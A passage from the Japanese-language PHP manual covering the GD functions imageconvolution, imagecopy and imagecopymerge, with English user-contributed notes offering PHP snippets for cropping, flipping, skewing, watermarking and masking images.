    for ( $pointX = $rectX1 - $distance; $pointX < $imageWidth; $pointX++ ) {
      for ( $pointY = $rectY1 - $distance; $pointY < $imageHeight; $pointY++ ) {

        if ( $pointX > $rectX1 + $distance &&
             $pointX < $rectX2 - $distance &&
             $pointY > $rectY1 + $distance &&
             $pointY < $rectY2 - $distance ) {
          $pointY = $rectY2 - $distance;
        }

        $boxX1 = $pointX - $distance;
        $boxY1 = $pointY - $distance;
        $boxX2 = $pointX + $distance;
        $boxY2 = $pointY + $distance;

        $xOverlap = max(0, min($boxX2, $rectX2) - max($boxX1, $rectX1));
        $yOverlap = max(0, min($boxY2, $rectY2) - max($boxY1, $rectY1));

        $totalOverlap = $xOverlap * $yOverlap;
        $shadowPcnt = $totalOverlap / $potentialOverlap;
        $backPcnt = 1.0 - $shadowPcnt;

        $newR = $shadowR * $shadowPcnt + $backR * $backPcnt;
        $newG = $shadowG * $shadowPcnt + $backG * $backPcnt;
        $newB = $shadowB * $shadowPcnt + $backB * $backPcnt;

        $newcol = imagecolorallocate($image, $newR, $newG, $newB);
        imagesetpixel($image, $pointX, $pointY, $newcol);
      }
    }
  }
dyer85 at gmail dot com 07-Jan-2006 02:24
Took me a while, but thanks to a couple of the user notes on the array_values PHP documentation page, I was able to come up with a way to dynamically compute the divisor.

I'm using PHP 5.1.0b2 on Win32 with the bundled GD library. When I try and use the imageconvolution function, whether normally, or via the functions below, the resulting image (I've only tried JPEGs and GIFs), always comes out far too bright, even when the divisor makes matrix sum equal to 1. The only thing that would reduce the brightness was to make the offset argument ridiculously large. So, I'm not sure if this effects anyone else.

Here are the functions with an example:

<?php
$im = imagecreatefromjpeg('path/to/pic.jpg');
$matrix = array(   array(5,5,5),
                   array(5,15,5),
                   array(5,5,5) );
makeFilter($im, $matrix);

header ( 'Content-Type: image/jpeg' );
imagejpeg($im);
imagedestroy($im);

/**
 * functions
 */
// This flattens the 3X3 array matrix, so we can get the sum of all the values
function array_flatten($array) {
    (array)$tempArray = array();

    foreach ( $array as $value ) {
        if ( is_array($value) ) {
            $tempArray = array_merge($tempArray, array_flatten($value));
        } else {
            $tempArray[] = $value;
        }
    }

    return $tempArray;
}

// Creates the divisor value dynamically, and passes offset
function makeFilter($resource, $matrix, $offset=1.0) {
    global $$resource;
    (float)$divisor = array_sum(array_flatten($matrix));
    return imageconvolution($resource, $matrix, $divisor, $offset) ? true : false;
}
?>
26-Oct-2005 05:32
The example below didn't provide a 3x3 matrix. Correctly, it's a multidimensional array.

<?php
    $matrix = array(    array( -1, -1, -1 ),
                        array( -1, 16, -1 ),
                        array( -1, -1, -1 ) );
?>
timeshifting at gmail dot com 24-Aug-2005 03:40
Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html


画像の一部をコピーする

  • ≪ imageconvolution
  • imagecopymerge ≫
  • PHP Manual
  • GD および Image 関数
  • 画像の一部をコピーする

imagecopy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecopy — 画像の一部をコピーする

説明

imagecopy ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h ) : bool

src_imの一部、つまり、x,y座標 src_x, src_y を基準として幅src_w、高さ src_hの領域をdst_im にコピーします。指定された領域は、x,y座標 dst_x,dst_yにコピー されます。

パラメータ

dst_im

コピー先の画像リソース。

src_im

コピー元の画像リソース。

dst_x

コピー先の x 座標。

dst_y

コピー先の y 座標。

src_x

コピー元の x 座標。

src_y

コピー元の y 座標。

src_w

コピー元の幅。

src_h

コピー元の高さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 PHP.net のロゴの切り取り

<?php
// 画像のインスタンスを作成します
$src = imagecreatefromgif('php.gif');
$dest = imagecreatetruecolor(80, 40);

// コピーします
imagecopy($dest, $src, 0, 0, 20, 13, 80, 40);

// 出力してメモリから解放します
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : PHP.net のロゴの切り取り

参考

  • imagecrop() - 指定した矩形に画像をクロップする

User Contributed Notes

petr dot biza at gmail dot com 11-May-2010 07:23
There is function to crop blank edges from image.

<?php
/**
* $image image cursor (from imagecreatetruecolor)
* $backgound image curosr (from imagecolorallocate)
* $paddng int
*/
function imageCrop($image, $background = false, $padding = 0) {
    if($background)
      $background = imagecolorallocate($image, 255, 255, 255);

    $top = imageSY($image);
    $left = imageSX($image);
    $bottom = 0;
    $right = 0;

    for ($x = 0 ; $x < imagesx($image) ; $x++) {
        for ($y = 0 ; $y < imagesy($image) ; $y++) {

          // if there match
            if(imagecolorat($image, $x, $y) != $background) {

              if($x < $left)
                $left = $x;
              if($x > $right)
                $right = $x;
              if($y > $bottom)
                $bottom = $y;
              if($y < $top)
                $top = $y;
        }
        }
    }

    $right++;
    $bottom++;

    // create new image with padding
    $img = imagecreatetruecolor($right-$left+$padding*2,$bottom-$top+$padding*2);
    // fill the background
    imagefill($img, 0, 0, $background);
    // copy
    imagecopy($img, $image, $padding, $padding, $left, $top, $right-$left, $bottom-$top);

    // destroy old image cursor
    imagedestroy($image);
    return $img;
}
?>
latin4567 at gmail dot com 22-Sep-2009 07:29
I have created a PHP function which performs the standard 9-Slice scaling technique. This is extremely useful for thumbnail shadow scaling, and anything involving skinning. Feel free to pick apart and use

Note: instead of specifying margins, my 9-slicing routine uses a centered-rectangle concept... as input you provide the image (as a resource), the x and y coords of the rectangle, and the width and height of the rectangle.

The $src_im parameter should be an image resource. This script was written for 9-slicing translucent PNG images, and has only been tested with translucent PNG images, however it should work with other image types (possibly requiring some modification)

so if your source image was 400 x 400, you needed a 24 pixel margin on all sides, and your target size was 800 x 500, you would use the following parameters:

<?php
$im = NineSlice($im, 24, 24, 352, 352, 800, 500)
?>

<?php
/* 9-Slice Image Slicing Script by Sam Kelly (DuroSoft: http://www.durosoft.com) */
function NineSlice($src_im, $rect_x, $rect_y, $rect_w, $rect_h, $target_w, $target_h)
{
    $src_w = imagesx($src_im);
    $src_h = imagesy($src_im);

    $im = CreateBlankPNG($target_w, $target_h);
    imagealphablending($im,true);

    $left_w = $rect_x;
    $right_w = $src_w - ($rect_x + $rect_w);

    $left_src_y = ceil($rect_h / 2) - 1 + $rect_y;
    $right_src_y = $left_src_y;

    $left_src_x = 0;
    $right_src_x = $left_w + $rect_w;

    $top_src_x = ceil($rect_w / 2) - 1 + $rect_x;
    $bottom_src_x = $top_src_x;
    $bottom_src_y = $rect_y + $rect_h;
    $bottom_h = $src_h - $bottom_src_y;

    $left_tile = CreateBlankPNG($left_w, 1);
    imagecopy($left_tile, $src_im, 0, 0, 0, $left_src_y, $left_w, 1);

    $right_tile = CreateBlankPNG($right_w, 1);
    imagecopy($right_tile, $src_im, 0, 0, $right_src_x, $right_src_y, $right_w, 1);

    $top_tile = CreateBlankPNG(1, $rect_y);
    imagecopy($top_tile, $src_im, 0, 0, $top_src_x, 0, 1, $rect_y);

    $bottom_tile = CreateBlankPNG(1, $bottom_h);
    imagecopy($bottom_tile, $src_im, 0, 0, $bottom_src_x, $bottom_src_y, 1, $bottom_h);

    $inner_tile = CreateBlankPNG(4, 4);
    imagecopy($inner_tile, $src_im, 0, 0, ceil($src_w / 2) - 1, ceil($src_h / 2) - 1, 4, 4);

    imagecopy($im, $src_im, 0, 0, 0, 0, $left_w, $rect_y);
    imagecopy($im, $src_im, 0, $target_h - $bottom_h, 0, $bottom_src_y, $rect_x, $bottom_h);
    imagecopy($im, $src_im, $target_w - $right_w, 0, $right_src_x, 0, $right_w, $rect_y);
    imagecopy($im, $src_im, $target_w - $right_w, $target_h - $bottom_h, $src_w - $right_w, $bottom_src_y, $right_w, $bottom_h);

    imagesettile($im, $top_tile);
    imagefilledrectangle($im, $left_w, 0, $target_w - $right_w - 1, $rect_y, IMG_COLOR_TILED);

    imagesettile($im, $left_tile);
    imagefilledrectangle($im, 0, $rect_y, $left_w, $target_h - $bottom_h - 1, IMG_COLOR_TILED);

    $right_side = CreateBlankPNG($right_w, $target_h - $rect_y - $bottom_h);
    imagesettile($right_side, $right_tile);
    imagefilledrectangle($right_side, 0, 0, $right_w, $target_h - $rect_y - $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $right_side, $target_w - $right_w, $rect_y, 0, 0, $right_w, $target_h - $rect_y - $bottom_h);

    $bottom_side = CreateBlankPNG($target_w - $right_w - $left_w, $bottom_h);
    imagesettile($bottom_side, $bottom_tile);
    imagefilledrectangle($bottom_side, 0, 0, $target_w - $right_w - $left_w, $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $bottom_side, $right_w, $target_h - $bottom_h, 0, 0, $target_w - $right_w - $left_w, $bottom_h);

    imagedestroy($left_tile);
    imagedestroy($right_tile);
    imagedestroy($top_tile);
    imagedestroy($bottom_tile);
    imagedestroy($inner_tile);
    imagedestroy($right_side);
    imagedestroy($bottom_side);

    return $im;
}

function CreateBlankPNG($w, $h)
{
    $im = imagecreatetruecolor($w, $h);
    imagesavealpha($im, true);
    $transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
    imagefill($im, 0, 0, $transparent);
    return $im;
}
 ?>
Chad Allard 06-Jul-2009 12:20
Regarding the image_flip function discussed in the notes here, don't forget to support transparency.

AFTER:

$imgdest = imagecreatetruecolor($width, $height);

ADD:

imagealphablending($imgdest, false);
imagesavealpha($imgdest, true);

In another post here it mentioned you didn't have to use the imagesavealpha function, but I found without it the background transparency can turn the background canvas black.
etienne at escott dot info 03-Jul-2009 02:16
This is based on the Skew function from designerkamal at gmail dot com.

This is a function for skewing images in PHP with anti-aliasing. It works with alpha PNG images.

Warning: the bigger the image you skew, the longer it will take to process. It's about 3 times longer than without anti-aliasing.

<?php
// $img: handle of an image
// $skew_val: level of skew to apply (0 being none, 1 being 45°)
function imageskewantialiased($img, $skew_val)
{
    $width = imagesx($img);
    $height = imagesy($img);
    $height2 = $height + ($width * $skew_val);

    // See below for definition of imagecreatealpha
    $imgdest = imagecreatealpha($width, $height2);

    // Process the image
    for($x = 0, $level = 0; $x < $width - 1; $x++)
    {
        $floor = floor($level);

        // To go faster, some lines are being copied at once
        if ($level == $floor)
            imagecopy($imgdest, $img, $x, $level, $x, 0, 1, $height - 1);
        else
        {
            $temp = $level - $floor;

            // The first pixel of the line
            // We get the color then apply a fade on it depending on the level
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, 0));
            $alpha = $color1['alpha'] + ($temp * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor, $color);
            }

            // The rest of the line
            for($y = 1; $y < $height - 1; $y++)
            {
                // Merge this pixel and the upper one
                $color2 = imagecolorsforindex($img, imagecolorat($img, $x, $y));
                $alpha = ($color1['alpha'] * $temp) + ($color2['alpha'] * (1 - $temp));
                if ($alpha < 127)
                {
                    $red   = ($color1['red']   * $temp) + ($color2['red']   * (1 - $temp));
                    $green = ($color1['green'] * $temp) + ($color2['green'] * (1 - $temp));
                    $blue  = ($color1['blue']  * $temp) + ($color2['blue']  * (1 - $temp));
                    $color = imagecolorallocatealpha($imgdest, $red, $green, $blue, $alpha);
                    imagesetpixel($imgdest, $x, $floor + $y, $color);
                }

                $color1 = $color2;
            }

            // The last pixel of the line
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, $height - 1));
            $alpha = $color1['alpha'] + ((1 - $temp) * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor + $height - 1, $color);
            }
        }

        // The line is finished, the next line will be lower
        $level += $skew_val;
    }

    // Finished processing, return the skewed image
    return $imgdest;
}

// Creates a new image of the size specified with a blank background (transparent)
function imagecreatealpha($width, $height)
{
    // Create a normal image and apply required settings
    $img = imagecreatetruecolor($width, $height);
    imagealphablending($img, false);
    imagesavealpha($img, true);

    // Apply the transparent background
    $trans = imagecolorallocatealpha($img, 0, 0, 0, 127);
    for ($x = 0; $x < $width; $x++)
    {
        for ($y = 0; $y < $height; $y++)
        {
            imagesetpixel($img, $x, $y, $trans);
        }
    }

    return $img;
}

// Here's an example of how to use it
imagepng(imageskewantialiased(imagecreatefrompng('test.png'), 0.15), 'skew.png');
?>
John Conde 27-May-2009 07:55
Simple and basic image cropping:

<?php
// Original image
$filename = 'someimage.jpg';

// Get dimensions of the original image
list($current_width, $current_height) = getimagesize($filename);

// The x and y coordinates on the original image where we
// will begin cropping the image
$left = 50;
$top = 50;

// This will be the final size of the image (e.g. how many pixels
// left and down we will be going)
$crop_width = 200;
$crop_height = 200;

// Resample the image
$canvas = imagecreatetruecolor($crop_width, $crop_height);
$current_image = imagecreatefromjpeg($filename);
imagecopy($canvas, $current_image, 0, 0, $left, $top, $current_width, $current_height);
imagejpeg($canvas, $filename, 100);
?>
webmaster at plumage dot nl 18-Mar-2009 04:38
I have a few remarks om the mirror-function:
The cases horizontal and vertical are switched.
1 = vertical and 2 = horizontal.
When I used it there appeared a black lining of 1 pixel on the side or on the top of the picture.
To remove it the function becomes as follows:

<?php
function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( $mode )
    {

        case '1': //vertical
            $src_y                =    $height -1;
            $src_height           =    -$height;
        break;

        case '2': //horizontal
            $src_x                =    $width -1;
            $src_width            =    -$width;
        break;

        case '3': //both
            $src_x                =    $width -1;
            $src_y                =    $height -1;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y , $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}
?>
xafford 27-Sep-2008 05:53
concerning the previous post of Borszczuk and the function to mirror images:

There´s a way better (and faster) method for this task with imagecopyresampled.

<?php

define ( 'IMAGE_FLIP_HORIZONTAL', 1 );
define ( 'IMAGE_FLIP_VERTICAL', 2 );
define ( 'IMAGE_FLIP_BOTH', 3 );

function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( (int) $mode )
    {

        case IMAGE_FLIP_HORIZONTAL:
            $src_y                =    $height;
            $src_height           =    -$height;
        break;

        case IMAGE_FLIP_VERTICAL:
            $src_x                =    $width;
            $src_width            =    -$width;
        break;

        case IMAGE_FLIP_BOTH:
            $src_x                =    $width;
            $src_y                =    $height;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y, $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}

?>
Cory Gagliardi 08-Jul-2008 11:40
Here is some simple code for resizing an uploaded image and inserting a watermark (from a 24-bit PNG) on the bottom right of it.  In this case, the water mark was a diagnol band that said "SOLD" across it.  The code that verifies the uploaded image is the correct type has been omitted:

<?PHP
//Load and resize the image
$uploaded = imagecreatefromjpeg($_FILES['file']['tmp_name']);
$image = imagecreatetruecolor(IMAGE_WIDTH, IMAGE_HEIGHT);
imagecopyresampled($image, $uploaded, 0, 0, 0, 0, IMAGE_WIDTH, IMAGE_HEIGHT, imagesx($uploaded), imagesy($uploaded));
imagealphablending($image,true); //allows us to apply a 24-bit watermark over $image

//Load the sold watermark
$sold_band = imagecreatefrompng('../images/sold_band.png');
imagealphablending($sold_band,true);

//Apply watermark and save
$image = image_overlap($image, $sold_band);
imagecopy($image,$sold_band,IMAGE_WIDTH - SOLD_WIDTH,IMAGE_HEIGHT - SOLD_HEIGHT,0,0,SOLD_WIDTH,SOLD_HEIGHT);
$success = imagejpeg($image,'../images/sold/'.$id.'.jpg',85);

imagedestroy($image);
imagedestroy($uploaded);
imagedestroy($sold_band);
?>
matrebatre 02-Feb-2008 05:22
I had the same problem as Jeff, but his solution didn't work for me. I made this script, and it seems to work:

<?php

$img = imagecreatefromgif('in.gif');
$w = imagesx($img);
$h = imagesy($img);

$trans = imagecolortransparent($img);
if($trans >= 0) {

$rgb = imagecolorsforindex($img, $trans);

$oldimg = $img;
$img = imagecreatetruecolor($w,$h);
$color = imagecolorallocate($img,$rgb['red'],$rgb['green'],$rgb['blue']);
imagefilledrectangle($img,0,0,$w,$h,$color);
imagecopy($img,$oldimg,0,0,0,0,$w,$h);

}

imagegif($img,'out.gif');

?>
Jeff 22-Feb-2007 03:27
I came across the problem of having a page where any image could be uploaded, then I would need to work with it as a true color image with transparency. The problem came with palette images with transparency (e.g. GIF images), the transparent parts changed to black (no matter what color was actually representing transparent) when I used imagecopy to convert the image to true color.

To convert an image to true color with the transparency as well, the following code works (assuming $img is your image resource):

<?php
//Convert $img to truecolor
$w = imagesx($img);
$h = imagesy($img);
if (!imageistruecolor($img)) {
  $original_transparency = imagecolortransparent($img);
  //we have a transparent color
  if ($original_transparency >= 0) {
    //get the actual transparent color
    $rgb = imagecolorsforindex($img, $original_transparency);
    $original_transparency = ($rgb['red'] << 16) | ($rgb['green'] << 8) | $rgb['blue'];
    //change the transparent color to black, since transparent goes to black anyways (no way to remove transparency in GIF)
    imagecolortransparent($img, imagecolorallocate($img, 0, 0, 0));
  }
  //create truecolor image and transfer
  $truecolor = imagecreatetruecolor($w, $h);
  imagealphablending($img, false);
  imagesavealpha($img, true);
  imagecopy($truecolor, $img, 0, 0, 0, 0, $w, $h);
  imagedestroy($img);
  $img = $truecolor;
  //remake transparency (if there was transparency)
  if ($original_transparency >= 0) {
    imagealphablending($img, false);
    imagesavealpha($img, true);
    for ($x = 0; $x < $w; $x++)
      for ($y = 0; $y < $h; $y++)
        if (imagecolorat($img, $x, $y) == $original_transparency)
          imagesetpixel($img, $x, $y, 127 << 24);
  }
}
?>

And now $img is a true color image resource
john at mccarthy dot net 17-Jan-2007 05:37
Here is an upgrade of that cool wave function: Double the size of the image, wave it, then resample it down again. This makes even nicer, anti aliased waves.

    // So easy and nice!
    function wave_region($img, $x, $y, $width, $height,$amplitude = 4.5,$period = 30)
    {
        // Make a copy of the image twice the size
        $mult = 2;
        $img2 = imagecreatetruecolor($width * $mult, $height * $mult);
        imagecopyresampled ($img2,$img,0,0,$x,$y,$width * $mult,$height * $mult,$width, $height);

        // Wave it
        for ($i = 0;$i < ($width * $mult);$i += 2)
        {
           imagecopy($img2,$img2,
               $x + $i - 2,$y + sin($i / $period) * $amplitude,    // dest
               $x + $i,$y,            // src
               2,($height * $mult));
        }

        // Resample it down again
        imagecopyresampled ($img,$img2,$x,$y,0,0,$width, $height,$width * $mult,$height * $mult);
        imagedestroy($img2);
    }

To use it in a full image:
    wave_region ($oImage,0,0,imagesx($oImage),imagesy($oImage));
C. Jansen 16-Aug-2006 11:02
While replying to a post in a support forum I noticed something odd about imagecopy(). The first snippet (should) create an image object, allocate a colour resource within that image, fill the background with the allocated colour and then copy another, cropped to fit, image onto it.

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    //fill the background with white
    imagefill( $temp, 0, 0, $white );

    //copy the image into new a resource
    imagecopy($temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height);
?>

But this produces a black background. I noticed taking away the imagefill() call yields the same results. The solution was to call imagefill() after the imagecopy(). Thinking linearly I would have guessed this to cover the previously copied image in white but it doesn't. I guess GD uses a layer system? Is this correct?

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    // copy image into new resource
    imagecopy( $temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height );

    //fill the background with white (not sure why it has to be in this order)
    imagefill( $temp, 0, 0, $white );
?>

I am using php 5.1.4 with the bundled GD (2.0.28)
admin at cvxdes dot com 23-Feb-2006 08:26
I used this to watermark images. This is the function I wrote:

<?php
function watermark($url,$logo){
    $bwidth  = imagesx($url);
    $bheight = imagesy($url);
    $lwidth  = imagesx($logo);
    $lheight = imagesy($logo);
    $src_x = $bwidth - ($lwidth + 5);
    $src_y = $bheight - ($lheight + 5);
    ImageAlphaBlending($url, true);
    ImageCopy($url,$logo,$src_x,$src_y,0,0,$lwidth,$lheight);
}
?>

Usage:
<?php
//$current_image would be your image the watermark is overlayed onto. Make sure it's imagecreatefrom*** to work.
watermark($current_image,$watermark_image);
?>

Hope this helps someone.
designerkamal at gmail dot com 09-Feb-2006 11:38
Skewing images in PHP...
<?php
function Skew($src, $dest, $skew_val)
{
  $imgsrc = imagecreatefromgif($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height+($height*$skew_val));
  $trans = imagecolorallocate($imgdest,0,0,0);
  $temp=0;
  for($x=0 ; $x<$width ; $x++)
   {
     for($y=0 ; $y<$height ; $y++)
    {
        imagecopy($imgdest, $imgsrc, $x, $y+$temp, $x, $y, 1, 1);
      imagecolortransparent($imgdest,$trans);

    }
    $temp+=$skew_val;
   }
  imagepng($imgdest, $dest);
  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}
Skew("img.gif", "img2.png","1");
print "<img src='img.gif'>";
print "<br><br>";
print "<img src='img2.png'>";
?>
ragnar_40k at hotmail dot com 21-Nov-2005 03:17
Here a function to make holes into images:

// Set the alpha channel for a part of an image (it ignores the canvas alpha atm).
// $img_canvas - 32-bit true color image w/ alpha channel
// $img_mask - 8-bit gray scale image (white parts will be masked transparent in the canvas).
// This relies on the current pixel format:
// (high byte) -> (alpha channel} {red} {green} {blue} <- (low byte)
function mask($img_canvas, $img_mask, $dst_x, $dst_y)
{
   $old_blendmode = imagealphablending($img_canvas, FALSE);

   $width  = imagesx($img_mask);
   $heigth = imagesy($img_mask);

   $mask_x = 0;
   $x = $dst_y;
   while ($mask_x<$width)
   {
       $mask_y = 0;
       $y = $dst_y;
       while ($mask_y<$heigth)
       {
           imagesetpixel($img_canvas, $x, $y,
               ((imagecolorat($img_mask, $mask_x, $mask_y) >> 1) << 24) | (imagecolorat($img_canvas, $x, $y) & 0x00FFFFFF));

           ++$mask_y;
           ++$y;
       }
       ++$mask_x;
       ++$x;
   }

   imagealphablending($img_canvas, $old_blendmode);
}
johnny at netvor dot sk 21-Oct-2005 08:48
simple image combination srcipt, ie. if u want to create one  huuuge signature from more small ones

<?php
// config --
$src = array ("http://www.google.com/images/logo_sm.gif", "http://sk2.php.net/images/php.gif");
$under = 0;    // combine images underneath or not?
// -- end of config

$imgBuf = array ();
$maxW=0; $maxH=0;
foreach ($src as $link)
{
    switch(substr ($link,strrpos ($link,".")+1))
    {
        case 'png':
            $iTmp = imagecreatefrompng($link);
            break;
        case 'gif':
            $iTmp = imagecreatefromgif($link);
            break;
        case 'jpeg':
        case 'jpg':
            $iTmp = imagecreatefromjpeg($link);
            break;
    }

    if ($under)
    {
        $maxW=(imagesx($iTmp)>$maxW)?imagesx($iTmp):$maxW;
        $maxH+=imagesy($iTmp);
    }
    else
    {
        $maxW+=imagesx($iTmp);
        $maxH=(imagesy($iTmp)>$maxH)?imagesy($iTmp):$maxH;
    }

    array_push ($imgBuf,$iTmp);
}

$iOut = imagecreate ($maxW,$maxH) ;

$pos=0;
foreach ($imgBuf as $img)
{
    if ($under)
        imagecopy ($iOut,$img,0,$pos,0,0,imagesx($img),imagesy($img));
    else
        imagecopy ($iOut,$img,$pos,0,0,0,imagesx($img),imagesy($img));
    $pos+= $under ? imagesy($img) : imagesx($img);
    imagedestroy ($img);
}

imagegif($iOut);
?>


イメージの一部をコピー、マージする

  • ≪ imagecopy
  • imagecopymergegray ≫
  • PHP Manual
  • GD および Image 関数
  • イメージの一部をコピー、マージする

imagecopymerge

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecopymerge — イメージの一部をコピー、マージする

説明

imagecopymerge ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h , int $pct ) : bool

src_imのsrc_x, src_y で始まる幅 src_w、高さsrc_hの領域を x,y座標で指定した dst_imにコピーします。 定義された部分は、x,y座標、dst_x、 dst_yにコピーされます。

パラメータ

dst_im

コピー先の画像リソース。

src_im

コピー元の画像リソース。

dst_x

コピー先の x 座標。

dst_y

コピー先の y 座標。

src_x

コピー元の x 座標。

src_y

コピー元の y 座標。

src_w

コピー元の幅。

src_h

コピー元の高さ。

pct

二つの画像は、 0から100の範囲で指定した pctに基づきマージされます。 pct = 0 の時は、何も行われません。 100の場合、この関数の動作は、パレットイメージに対する imagecopy() と同じとなります (アルファコンポーネントを無視する点だけが違います)。 一方 true color 画像については、この関数はアルファ透過度を実装しています。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 2 つの PHP.net ロゴを 75% の透過度でマージ

<?php
// 画像のインスタンスを作成します
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// コピー・マージします
imagecopymerge($dest, $src, 10, 10, 0, 0, 100, 47, 75);

// 出力してメモリから解放します
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

highton ridley 01-Jul-2019 08:29
killing_wombles0000 gave an almost working piece of code to mirror an image with increasing transparency. With help from showdev on stackexchange, here's the corrected and fully working code:
<?php
$in = imagecreatefromjpeg('https://picsum.photos/id/1084/536/354?grayscale');
$reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
$reflection_height = 40;        //     height of reflection in pixels
$gap = 0;                        //    gap between image and reflection

$orig_height = imagesy($in);                                //    store height of original image
$orig_width = imagesx($in);                                    //    store height of original image
$output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

// create new image to use for output. fill with BLACK.
$out = imagecreatetruecolor($orig_width, $output_height);
//imagealphablending($out, false);
//$bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
$bg = imagecolorallocatealpha($out, 0,0,0,0);
imagefill($out, 0, 0, $bg);
imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg);

// copy original image onto new one, leaving space underneath for reflection and 'gap'
imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

 // create new single-line image to act as buffer while applying transparency
$reflection_section = imagecreatetruecolor(imagesx($in), 1);
imagealphablending($reflection_section, false);
$bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
imagefill($reflection_section, 0, 0, $bg1);

// 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
// 2. set transparency to vary between reflection_strength and 127
// 3. copy line back to mirrored position in original
for ($y = 0; $y<$reflection_height;$y++)
{
    $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
    imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
    imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
    imagecopyresized($out, $reflection_section, 0, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - 0, 1, imagesx($in), 1);
}

// output image to view
header('Content-type: image/png');
imagesavealpha($out,true);
imagepng($out);
?>
Leo 04-Jan-2012 09:14
The following function creates mask of a true color image for a given color. Beforehand for creating an image mask I used to loop over all image pixels and check their color using imagecolorat and copy if the color matches with imagesetpixel. This was very slow for large images, so the following code improves the process.

<?php

    function getOppositeColor ($color)
    {
        return (
                    ( (255 - ($color >> 16) & 0xFF) << 16 ) +
                    ( (255 - ($color >> 8  ) & 0xFF) << 8  ) +
                    ( (255 - ($color         ) & 0xFF)         )
                );
    }

    function createImageMask (&$image, $color)
    {
        $w = imagesx ($image);
        $h = imagesy ($image);

        $tmpImage = imagecreatetruecolor ($w, $h);

        imagecopy ($tmpImage, $image, 0, 0, 0, 0, $w, $h);

        imagefilter ($image, IMG_FILTER_NEGATE);

        imagecolortransparent ($image, getOppositeColor ($color));

        imagecopymerge ($tmpImage, $image, 0, 0, 0, 0, $w, $h, 50);

        imagedestroy ($image);

        $image = $tmpImage;
    }

?>

So for example, if we have a photo and we specify color = (255, 0, 0), i.e. red, the result will be image of the same size with red pixels everywhere the original photo was red and grey pixels exerywhere else.
Leo 04-Jan-2012 06:27
imagecopymerge PHP function helped me to create a fast method that replaces one color by another in true color images.

Beforehand for this purpose I had to loop over all the pixels of an image and replace color pixel by pixel using imagecolorat and imagesetpixel; this method is really slow for large images.

So here is the fast one:

<?php

function replaceColorInImage ($image, $old_r, $old_g, $old_b, $new_r, $new_g, $new_b)
{
    imagecolortransparent ($image, imagecolorallocate ($image, $old_r, $old_g, $old_b));

    $w = imagesx ($image);
    $h = imagesy ($image);

    $resImage = imagecreatetruecolor ($w, $h);

    imagefill ($resImage, 0, 0, imagecolorallocate ($resImage, $new_r, $new_g, $new_b));

